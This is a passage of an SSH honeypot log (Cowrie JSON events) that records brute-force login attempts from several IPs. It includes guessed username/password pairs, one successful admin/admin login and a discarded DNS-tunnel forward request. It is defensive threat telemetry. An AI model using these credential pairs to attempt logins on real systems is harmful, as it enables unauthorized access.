{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:59:43.457155Z","src_ip":"80.94.92.186","session":"08be273679dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:59:44.786938Z","src_ip":"80.94.92.186","session":"08be273679dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:59:46.006956Z","src_ip":"80.94.92.186","session":"08be273679dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54292,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bbd0241df72","protocol":"ssh","message":"New connection: 159.203.92.129:54292 (159.203.135.109:22) [session: 4bbd0241df72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:59:52.589256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:59:52.594231Z","src_ip":"159.203.92.129","session":"4bbd0241df72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:59:52.599285Z","src_ip":"159.203.92.129","session":"4bbd0241df72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DL938113","password":"DL938113","message":"login attempt [DL938113/DL938113] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:59:52.618168Z","src_ip":"159.203.92.129","session":"4bbd0241df72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:59:53.626552Z","src_ip":"159.203.92.129","session":"4bbd0241df72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59102,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecce514f8769","protocol":"ssh","message":"New connection: 159.203.92.129:59102 (159.203.135.109:22) [session: ecce514f8769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:00:38.280227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:00:38.349088Z","src_ip":"159.203.92.129","session":"ecce514f8769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:00:38.354407Z","src_ip":"159.203.92.129","session":"ecce514f8769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DL938113","password":"DL938113123","message":"login attempt [DL938113/DL938113123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:00:38.516599Z","src_ip":"159.203.92.129","session":"ecce514f8769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:00:39.569029Z","src_ip":"159.203.92.129","session":"ecce514f8769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":41804,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf93d1844e47","protocol":"ssh","message":"New connection: 87.251.64.176:41804 (10.17.0.5:22) [session: bf93d1844e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:00:53.654466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:00:53.659448Z","src_ip":"87.251.64.176","session":"bf93d1844e47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:00:53.809945Z","src_ip":"87.251.64.176","session":"bf93d1844e47","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:00:54.105175Z","src_ip":"87.251.64.176","session":"bf93d1844e47","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:00:54.208108Z","session":"bf93d1844e47","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:00:54.306669Z","src_ip":"87.251.64.176","session":"bf93d1844e47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:00:54.406338Z","src_ip":"87.251.64.176","session":"bf93d1844e47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48480,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a82e6d6e0f6","protocol":"ssh","message":"New connection: 159.203.92.129:48480 (159.203.135.109:22) [session: 7a82e6d6e0f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:01:21.031280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:01:21.067933Z","src_ip":"159.203.92.129","session":"7a82e6d6e0f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:01:21.072112Z","src_ip":"159.203.92.129","session":"7a82e6d6e0f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DaisyZhang","password":"123","message":"login attempt [DaisyZhang/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:01:21.173262Z","src_ip":"159.203.92.129","session":"7a82e6d6e0f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:01:22.181468Z","src_ip":"159.203.92.129","session":"7a82e6d6e0f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56898,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2974818a412","protocol":"ssh","message":"New connection: 159.203.92.129:56898 (159.203.135.109:22) [session: d2974818a412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:03.362014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:03.466444Z","src_ip":"159.203.92.129","session":"d2974818a412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:03.475699Z","src_ip":"159.203.92.129","session":"d2974818a412","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DaisyZhang","password":"123456","message":"login attempt [DaisyZhang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:03.734789Z","src_ip":"159.203.92.129","session":"d2974818a412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:04.778373Z","src_ip":"159.203.92.129","session":"d2974818a412","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":46706,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ea3b1618b8d","protocol":"ssh","message":"New connection: 80.94.92.186:46706 (159.203.135.109:22) [session: 6ea3b1618b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:37.047212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:37.283258Z","src_ip":"80.94.92.186","session":"6ea3b1618b8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:37.287043Z","src_ip":"80.94.92.186","session":"6ea3b1618b8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx","message":"login attempt [ubuntu/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:38.142719Z","src_ip":"80.94.92.186","session":"6ea3b1618b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:39.496654Z","src_ip":"80.94.92.186","session":"6ea3b1618b8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56786,"dst_ip":"159.203.135.109","dst_port":22,"session":"a73a1dc30195","protocol":"ssh","message":"New connection: 159.203.92.129:56786 (159.203.135.109:22) [session: a73a1dc30195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:44.854338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:44.892429Z","src_ip":"159.203.92.129","session":"a73a1dc30195","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cer